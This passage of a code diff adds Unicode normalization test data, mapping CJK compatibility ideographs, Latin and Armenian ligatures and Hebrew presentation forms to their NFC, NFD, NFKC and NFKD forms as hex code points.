+{ source: [0xFA05], NFC: [0x6D1E], NFD: [0x6D1E], NFKC: [0x6D1E], NFKD: [0x6D1E] },
+{ source: [0xFA06], NFC: [0x66B4], NFD: [0x66B4], NFKC: [0x66B4], NFKD: [0x66B4] },
+{ source: [0xFA07], NFC: [0x8F3B], NFD: [0x8F3B], NFKC: [0x8F3B], NFKD: [0x8F3B] },
+{ source: [0xFA08], NFC: [0x884C], NFD: [0x884C], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0xFA09], NFC: [0x964D], NFD: [0x964D], NFKC: [0x964D], NFKD: [0x964D] },
+{ source: [0xFA0A], NFC: [0x898B], NFD: [0x898B], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0xFA0B], NFC: [0x5ED3], NFD: [0x5ED3], NFKC: [0x5ED3], NFKD: [0x5ED3] },
+{ source: [0xFA0C], NFC: [0x5140], NFD: [0x5140], NFKC: [0x5140], NFKD: [0x5140] },
+{ source: [0xFA0D], NFC: [0x55C0], NFD: [0x55C0], NFKC: [0x55C0], NFKD: [0x55C0] },
+{ source: [0xFA10], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA12], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA15], NFC: [0x51DE], NFD: [0x51DE], NFKC: [0x51DE], NFKD: [0x51DE] },
+{ source: [0xFA16], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFA17], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFA18], NFC: [0x793C], NFD: [0x793C], NFKC: [0x793C], NFKD: [0x793C] },
+{ source: [0xFA19], NFC: [0x795E], NFD: [0x795E], NFKC: [0x795E], NFKD: [0x795E] },
+{ source: [0xFA1A], NFC: [0x7965], NFD: [0x7965], NFKC: [0x7965], NFKD: [0x7965] },
+{ source: [0xFA1B], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0xFA1C], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFA1D], NFC: [0x7CBE], NFD: [0x7CBE], NFKC: [0x7CBE], NFKD: [0x7CBE] },
+{ source: [0xFA1E], NFC: [0x7FBD], NFD: [0x7FBD], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0xFA20], NFC: [0x8612], NFD: [0x8612], NFKC: [0x8612], NFKD: [0x8612] },
+{ source: [0xFA22], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFA25], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA26], NFC: [0x90FD], NFD: [0x90FD], NFKC: [0x90FD], NFKD: [0x90FD] },
+{ source: [0xFA2A], NFC: [0x98EF], NFD: [0x98EF], NFKC: [0x98EF], NFKD: [0x98EF] },
+{ source: [0xFA2B], NFC: [0x98FC], NFD: [0x98FC], NFKC: [0x98FC], NFKD: [0x98FC] },
+{ source: [0xFA2C], NFC: [0x9928], NFD: [0x9928], NFKC: [0x9928], NFKD: [0x9928] },
+{ source: [0xFA2D], NFC: [0x9DB4], NFD: [0x9DB4], NFKC: [0x9DB4], NFKD: [0x9DB4] },
+{ source: [0xFA2E], NFC: [0x90DE], NFD: [0x90DE], NFKC: [0x90DE], NFKD: [0x90DE] },
+{ source: [0xFA2F], NFC: [0x96B7], NFD: [0x96B7], NFKC: [0x96B7], NFKD: [0x96B7] },
+{ source: [0xFA30], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0xFA31], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0xFA32], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0xFA33], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0xFA34], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0xFA35], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0xFA36], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA37], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0xFA38], NFC: [0x5668], NFD: [0x5668], NFKC: [0x5668], NFKD: [0x5668] },
+{ source: [0xFA39], NFC: [0x5840], NFD: [0x5840], NFKC: [0x5840], NFKD: [0x5840] },
+{ source: [0xFA3A], NFC: [0x58A8], NFD: [0x58A8], NFKC: [0x58A8], NFKD: [0x58A8] },
+{ source: [0xFA3B], NFC: [0x5C64], NFD: [0x5C64], NFKC: [0x5C64], NFKD: [0x5C64] },
+{ source: [0xFA3C], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0xFA3D], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0xFA3E], NFC: [0x6168], NFD: [0x6168], NFKC: [0x6168], NFKD: [0x6168] },
+{ source: [0xFA3F], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA40], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA41], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0xFA42], NFC: [0x65E2], NFD: [0x65E2], NFKC: [0x65E2], NFKD: [0x65E2] },
+{ source: [0xFA43], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0xFA44], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0xFA45], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0xFA46], NFC: [0x6E1A], NFD: [0x6E1A], NFKC: [0x6E1A], NFKD: [0x6E1A] },
+{ source: [0xFA47], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA48], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA49], NFC: [0x722B], NFD: [0x722B], NFKC: [0x722B], NFKD: [0x722B] },
+{ source: [0xFA4A], NFC: [0x7422], NFD: [0x7422], NFKC: [0x7422], NFKD: [0x7422] },
+{ source: [0xFA4B], NFC: [0x7891], NFD: [0x7891], NFKC: [0x7891], NFKD: [0x7891] },
+{ source: [0xFA4C], NFC: [0x793E], NFD: [0x793E], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0xFA4D], NFC: [0x7949], NFD: [0x7949], NFKC: [0x7949], NFKD: [0x7949] },
+{ source: [0xFA4E], NFC: [0x7948], NFD: [0x7948], NFKC: [0x7948], NFKD: [0x7948] },
+{ source: [0xFA4F], NFC: [0x7950], NFD: [0x7950], NFKC: [0x7950], NFKD: [0x7950] },
+{ source: [0xFA50], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0xFA51], NFC: [0x795D], NFD: [0x795D], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0xFA52], NFC: [0x798D], NFD: [0x798D], NFKC: [0x798D], NFKD: [0x798D] },
+{ source: [0xFA53], NFC: [0x798E], NFD: [0x798E], NFKC: [0x798E], NFKD: [0x798E] },
+{ source: [0xFA54], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0xFA55], NFC: [0x7A81], NFD: [0x7A81], NFKC: [0x7A81], NFKD: [0x7A81] },
+{ source: [0xFA56], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFA57], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFA58], NFC: [0x7E09], NFD: [0x7E09], NFKC: [0x7E09], NFKD: [0x7E09] },
+{ source: [0xFA59], NFC: [0x7E41], NFD: [0x7E41], NFKC: [0x7E41], NFKD: [0x7E41] },
+{ source: [0xFA5A], NFC: [0x7F72], NFD: [0x7F72], NFKC: [0x7F72], NFKD: [0x7F72] },
+{ source: [0xFA5B], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFA5C], NFC: [0x81ED], NFD: [0x81ED], NFKC: [0x81ED], NFKD: [0x81ED] },
+{ source: [0xFA5D], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5E], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0xFA60], NFC: [0x8910], NFD: [0x8910], NFKC: [0x8910], NFKD: [0x8910] },
+{ source: [0xFA61], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFA62], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFA63], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFA64], NFC: [0x8CD3], NFD: [0x8CD3], NFKC: [0x8CD3], NFKD: [0x8CD3] },
+{ source: [0xFA65], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFA66], NFC: [0x8FB6], NFD: [0x8FB6], NFKC: [0x8FB6], NFKD: [0x8FB6] },
+{ source: [0xFA67], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA68], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFA69], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFA6A], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFA6B], NFC: [0x6075], NFD: [0x6075], NFKC: [0x6075], NFKD: [0x6075] },
+{ source: [0xFA6C], NFC: [0x242EE], NFD: [0x242EE], NFKC: [0x242EE], NFKD: [0x242EE] },
+{ source: [0xFA6D], NFC: [0x8218], NFD: [0x8218], NFKC: [0x8218], NFKD: [0x8218] },
+{ source: [0xFA70], NFC: [0x4E26], NFD: [0x4E26], NFKC: [0x4E26], NFKD: [0x4E26] },
+{ source: [0xFA71], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0xFA72], NFC: [0x5168], NFD: [0x5168], NFKC: [0x5168], NFKD: [0x5168] },
+{ source: [0xFA73], NFC: [0x4F80], NFD: [0x4F80], NFKC: [0x4F80], NFKD: [0x4F80] },
+{ source: [0xFA74], NFC: [0x5145], NFD: [0x5145], NFKC: [0x5145], NFKD: [0x5145] },
+{ source: [0xFA75], NFC: [0x5180], NFD: [0x5180], NFKC: [0x5180], NFKD: [0x5180] },
+{ source: [0xFA76], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0xFA77], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0xFA78], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA79], NFC: [0x5555], NFD: [0x5555], NFKC: [0x5555], NFKD: [0x5555] },
+{ source: [0xFA7A], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0xFA7B], NFC: [0x55E2], NFD: [0x55E2], NFKC: [0x55E2], NFKD: [0x55E2] },
+{ source: [0xFA7C], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA7D], NFC: [0x58B3], NFD: [0x58B3], NFKC: [0x58B3], NFKD: [0x58B3] },
+{ source: [0xFA7E], NFC: [0x5944], NFD: [0x5944], NFKC: [0x5944], NFKD: [0x5944] },
+{ source: [0xFA7F], NFC: [0x5954], NFD: [0x5954], NFKC: [0x5954], NFKD: [0x5954] },
+{ source: [0xFA80], NFC: [0x5A62], NFD: [0x5A62], NFKC: [0x5A62], NFKD: [0x5A62] },
+{ source: [0xFA81], NFC: [0x5B28], NFD: [0x5B28], NFKC: [0x5B28], NFKD: [0x5B28] },
+{ source: [0xFA82], NFC: [0x5ED2], NFD: [0x5ED2], NFKC: [0x5ED2], NFKD: [0x5ED2] },
+{ source: [0xFA83], NFC: [0x5ED9], NFD: [0x5ED9], NFKC: [0x5ED9], NFKD: [0x5ED9] },
+{ source: [0xFA84], NFC: [0x5F69], NFD: [0x5F69], NFKC: [0x5F69], NFKD: [0x5F69] },
+{ source: [0xFA85], NFC: [0x5FAD], NFD: [0x5FAD], NFKC: [0x5FAD], NFKD: [0x5FAD] },
+{ source: [0xFA86], NFC: [0x60D8], NFD: [0x60D8], NFKC: [0x60D8], NFKD: [0x60D8] },
+{ source: [0xFA87], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0xFA88], NFC: [0x6108], NFD: [0x6108], NFKC: [0x6108], NFKD: [0x6108] },
+{ source: [0xFA89], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA8A], NFC: [0x6160], NFD: [0x6160], NFKC: [0x6160], NFKD: [0x6160] },
+{ source: [0xFA8B], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA8C], NFC: [0x6234], NFD: [0x6234], NFKC: [0x6234], NFKD: [0x6234] },
+{ source: [0xFA8D], NFC: [0x63C4], NFD: [0x63C4], NFKC: [0x63C4], NFKD: [0x63C4] },
+{ source: [0xFA8E], NFC: [0x641C], NFD: [0x641C], NFKC: [0x641C], NFKD: [0x641C] },
+{ source: [0xFA8F], NFC: [0x6452], NFD: [0x6452], NFKC: [0x6452], NFKD: [0x6452] },
+{ source: [0xFA90], NFC: [0x6556], NFD: [0x6556], NFKC: [0x6556], NFKD: [0x6556] },
+{ source: [0xFA91], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA92], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xFA93], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
+{ source: [0xFA94], NFC: [0x6756], NFD: [0x6756], NFKC: [0x6756], NFKD: [0x6756] },
+{ source: [0xFA95], NFC: [0x6B79], NFD: [0x6B79], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0xFA96], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xFA97], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xFA98], NFC: [0x6EDB], NFD: [0x6EDB], NFKC: [0x6EDB], NFKD: [0x6EDB] },
+{ source: [0xFA99], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0xFA9A], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA9B], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0xFA9C], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA9D], NFC: [0x77A7], NFD: [0x77A7], NFKC: [0x77A7], NFKD: [0x77A7] },
+{ source: [0xFA9E], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0xFA9F], NFC: [0x72AF], NFD: [0x72AF], NFKC: [0x72AF], NFKD: [0x72AF] },
+{ source: [0xFAA0], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFAA1], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0xFAA2], NFC: [0x7506], NFD: [0x7506], NFKC: [0x7506], NFKD: [0x7506] },
+{ source: [0xFAA3], NFC: [0x753B], NFD: [0x753B], NFKC: [0x753B], NFKD: [0x753B] },
+{ source: [0xFAA4], NFC: [0x761D], NFD: [0x761D], NFKC: [0x761D], NFKD: [0x761D] },
+{ source: [0xFAA5], NFC: [0x761F], NFD: [0x761F], NFKC: [0x761F], NFKD: [0x761F] },
+{ source: [0xFAA6], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFAA7], NFC: [0x76DB], NFD: [0x76DB], NFKC: [0x76DB], NFKD: [0x76DB] },
+{ source: [0xFAA8], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0xFAA9], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0xFAAA], NFC: [0x7740], NFD: [0x7740], NFKC: [0x7740], NFKD: [0x7740] },
+{ source: [0xFAAB], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0xFAAC], NFC: [0x7AB1], NFD: [0x7AB1], NFKC: [0x7AB1], NFKD: [0x7AB1] },
+{ source: [0xFAAD], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFAAE], NFC: [0x7C7B], NFD: [0x7C7B], NFKC: [0x7C7B], NFKD: [0x7C7B] },
+{ source: [0xFAAF], NFC: [0x7D5B], NFD: [0x7D5B], NFKC: [0x7D5B], NFKD: [0x7D5B] },
+{ source: [0xFAB0], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFAB1], NFC: [0x7F3E], NFD: [0x7F3E], NFKC: [0x7F3E], NFKD: [0x7F3E] },
+{ source: [0xFAB2], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFAB3], NFC: [0x8352], NFD: [0x8352], NFKC: [0x8352], NFKD: [0x8352] },
+{ source: [0xFAB4], NFC: [0x83EF], NFD: [0x83EF], NFKC: [0x83EF], NFKD: [0x83EF] },
+{ source: [0xFAB5], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0xFAB6], NFC: [0x8941], NFD: [0x8941], NFKC: [0x8941], NFKD: [0x8941] },
+{ source: [0xFAB7], NFC: [0x8986], NFD: [0x8986], NFKC: [0x8986], NFKD: [0x8986] },
+{ source: [0xFAB8], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFAB9], NFC: [0x8ABF], NFD: [0x8ABF], NFKC: [0x8ABF], NFKD: [0x8ABF] },
+{ source: [0xFABA], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFABB], NFC: [0x8ACB], NFD: [0x8ACB], NFKC: [0x8ACB], NFKD: [0x8ACB] },
+{ source: [0xFABC], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFABD], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xFABE], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0xFABF], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFAC0], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0xFAC1], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFAC2], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0xFAC3], NFC: [0x9072], NFD: [0x9072], NFKC: [0x9072], NFKD: [0x9072] },
+{ source: [0xFAC4], NFC: [0x9199], NFD: [0x9199], NFKC: [0x9199], NFKD: [0x9199] },
+{ source: [0xFAC5], NFC: [0x9276], NFD: [0x9276], NFKC: [0x9276], NFKD: [0x9276] },
+{ source: [0xFAC6], NFC: [0x967C], NFD: [0x967C], NFKC: [0x967C], NFKD: [0x967C] },
+{ source: [0xFAC7], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFAC8], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFAC9], NFC: [0x97DB], NFD: [0x97DB], NFKC: [0x97DB], NFKD: [0x97DB] },
+{ source: [0xFACA], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFACB], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0xFACC], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFACD], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0xFACE], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xFACF], NFC: [0x2284A], NFD: [0x2284A], NFKC: [0x2284A], NFKD: [0x2284A] },
+{ source: [0xFAD0], NFC: [0x22844], NFD: [0x22844], NFKC: [0x22844], NFKD: [0x22844] },
+{ source: [0xFAD1], NFC: [0x233D5], NFD: [0x233D5], NFKC: [0x233D5], NFKD: [0x233D5] },
+{ source: [0xFAD2], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0xFAD3], NFC: [0x4018], NFD: [0x4018], NFKC: [0x4018], NFKD: [0x4018] },
+{ source: [0xFAD4], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0xFAD5], NFC: [0x25249], NFD: [0x25249], NFKC: [0x25249], NFKD: [0x25249] },
+{ source: [0xFAD6], NFC: [0x25CD0], NFD: [0x25CD0], NFKC: [0x25CD0], NFKD: [0x25CD0] },
+{ source: [0xFAD7], NFC: [0x27ED3], NFD: [0x27ED3], NFKC: [0x27ED3], NFKD: [0x27ED3] },
+{ source: [0xFAD8], NFC: [0x9F43], NFD: [0x9F43], NFKC: [0x9F43], NFKD: [0x9F43] },
+{ source: [0xFAD9], NFC: [0x9F8E], NFD: [0x9F8E], NFKC: [0x9F8E], NFKD: [0x9F8E] },
+{ source: [0xFB00], NFC: [0xFB00], NFD: [0xFB00], NFKC: [0x0066, 0x0066], NFKD: [0x0066, 0x0066] },
+{ source: [0xFB01], NFC: [0xFB01], NFD: [0xFB01], NFKC: [0x0066, 0x0069], NFKD: [0x0066, 0x0069] },
+{ source: [0xFB02], NFC: [0xFB02], NFD: [0xFB02], NFKC: [0x0066, 0x006C], NFKD: [0x0066, 0x006C] },
+{ source: [0xFB03], NFC: [0xFB03], NFD: [0xFB03], NFKC: [0x0066, 0x0066, 0x0069], NFKD: [0x0066, 0x0066, 0x0069] },
+{ source: [0xFB04], NFC: [0xFB04], NFD: [0xFB04], NFKC: [0x0066, 0x0066, 0x006C], NFKD: [0x0066, 0x0066, 0x006C] },
+{ source: [0xFB05], NFC: [0xFB05], NFD: [0xFB05], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB06], NFC: [0xFB06], NFD: [0xFB06], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB13], NFC: [0xFB13], NFD: [0xFB13], NFKC: [0x0574, 0x0576], NFKD: [0x0574, 0x0576] },
+{ source: [0xFB14], NFC: [0xFB14], NFD: [0xFB14], NFKC: [0x0574, 0x0565], NFKD: [0x0574, 0x0565] },
+{ source: [0xFB15], NFC: [0xFB15], NFD: [0xFB15], NFKC: [0x0574, 0x056B], NFKD: [0x0574, 0x056B] },
+{ source: [0xFB16], NFC: [0xFB16], NFD: [0xFB16], NFKC: [0x057E, 0x0576], NFKD: [0x057E, 0x0576] },
+{ source: [0xFB17], NFC: [0xFB17], NFD: [0xFB17], NFKC: [0x0574, 0x056D], NFKD: [0x0574, 0x056D] },
+{ source: [0xFB1D], NFC: [0x05D9, 0x05B4], NFD: [0x05D9, 0x05B4], NFKC: [0x05D9, 0x05B4], NFKD: [0x05D9, 0x05B4] },
+{ source: [0xFB1F], NFC: [0x05F2, 0x05B7], NFD: [0x05F2, 0x05B7], NFKC: [0x05F2, 0x05B7], NFKD: [0x05F2, 0x05B7] },
+{ source: [0xFB20], NFC: [0xFB20], NFD: [0xFB20], NFKC: [0x05E2], NFKD: [0x05E2] },
+{ source: [0xFB21], NFC: [0xFB21], NFD: [0xFB21], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0xFB22], NFC: [0xFB22], NFD: [0xFB22], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0xFB23], NFC: [0xFB23], NFD: [0xFB23], NFKC: [0x05D4], NFKD: [0x05D4] },
+{ source: [0xFB24], NFC: [0xFB24], NFD: [0xFB24], NFKC: [0x05DB], NFKD: [0x05DB] },
+{ source: [0xFB25], NFC: [0xFB25], NFD: [0xFB25], NFKC: [0x05DC], NFKD: [0x05DC] },
+{ source: [0xFB26], NFC: [0xFB26], NFD: [0xFB26], NFKC: [0x05DD], NFKD: [0x05DD] },
+{ source: [0xFB27], NFC: [0xFB27], NFD: [0xFB27], NFKC: [0x05E8], NFKD: [0x05E8] },
+{ source: [0xFB28], NFC: [0xFB28], NFD: [0xFB28], NFKC: [0x05EA], NFKD: [0x05EA] },
+{ source: [0xFB29], NFC: [0xFB29], NFD: [0xFB29], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFB2A], NFC: [0x05E9, 0x05C1], NFD: [0x05E9, 0x05C1], NFKC: [0x05E9, 0x05C1], NFKD: [0x05E9, 0x05C1] },
+{ source: [0xFB2B], NFC: [0x05E9, 0x05C2], NFD: [0x05E9, 0x05C2], NFKC: [0x05E9, 0x05C2], NFKD: [0x05E9, 0x05C2] },
+{ source: [0xFB2C], NFC: [0x05E9, 0x05BC, 0x05C1], NFD: [0x05E9, 0x05BC, 0x05C1], NFKC: [0x05E9, 0x05BC, 0x05C1], NFKD: [0x05E9, 0x05BC, 0x05C1] },
+{ source: [0xFB2D], NFC: [0x05E9, 0x05BC, 0x05C2], NFD: [0x05E9, 0x05BC, 0x05C2], NFKC: [0x05E9, 0x05BC, 0x05C2], NFKD: [0x05E9, 0x05BC, 0x05C2] },
+{ source: [0xFB2E], NFC: [0x05D0, 0x05B7], NFD: [0x05D0, 0x05B7], NFKC: [0x05D0, 0x05B7], NFKD: [0x05D0, 0x05B7] },
+{ source: [0xFB2F], NFC: [0x05D0, 0x05B8], NFD: [0x05D0, 0x05B8], NFKC: [0x05D0, 0x05B8], NFKD: [0x05D0, 0x05B8] },
+{ source: [0xFB30], NFC: [0x05D0, 0x05BC], NFD: [0x05D0, 0x05BC], NFKC: [0x05D0, 0x05BC], NFKD: [0x05D0, 0x05BC] },
+{ source: [0xFB31], NFC: [0x05D1, 0x05BC], NFD: [0x05D1, 0x05BC], NFKC: [0x05D1, 0x05BC], NFKD: [0x05D1, 0x05BC] },
+{ source: [0xFB32], NFC: [0x05D2, 0x05BC], NFD: [0x05D2, 0x05BC], NFKC: [0x05D2, 0x05BC], NFKD: [0x05D2, 0x05BC] },
+{ source: [0xFB33], NFC: [0x05D3, 0x05BC], NFD: [0x05D3, 0x05BC], NFKC: [0x05D3, 0x05BC], NFKD: [0x05D3, 0x05BC] },
+{ source: [0xFB34], NFC: [0x05D4, 0x05BC], NFD: [0x05D4, 0x05BC], NFKC: [0x05D4, 0x05BC], NFKD: [0x05D4, 0x05BC] },
+{ source: [0xFB35], NFC: [0x05D5, 0x05BC], NFD: [0x05D5, 0x05BC], NFKC: [0x05D5, 0x05BC], NFKD: [0x05D5, 0x05BC] },
+{ source: [0xFB36], NFC: [0x05D6, 0x05BC], NFD: [0x05D6, 0x05BC], NFKC: [0x05D6, 0x05BC], NFKD: [0x05D6, 0x05BC] },
+{ source: [0xFB38], NFC: [0x05D8, 0x05BC], NFD: [0x05D8, 0x05BC], NFKC: [0x05D8, 0x05BC], NFKD: [0x05D8, 0x05BC] },
+{ source: [0xFB39], NFC: [0x05D9, 0x05BC], NFD: [0x05D9, 0x05BC], NFKC: [0x05D9, 0x05BC], NFKD: [0x05D9, 0x05BC] },
+{ source: [0xFB3A], NFC: [0x05DA, 0x05BC], NFD: [0x05DA, 0x05BC], NFKC: [0x05DA, 0x05BC], NFKD: [0x05DA, 0x05BC] },
+{ source: [0xFB3B], NFC: [0x05DB, 0x05BC], NFD: [0x05DB, 0x05BC], NFKC: [0x05DB, 0x05BC], NFKD: [0x05DB, 0x05BC] },
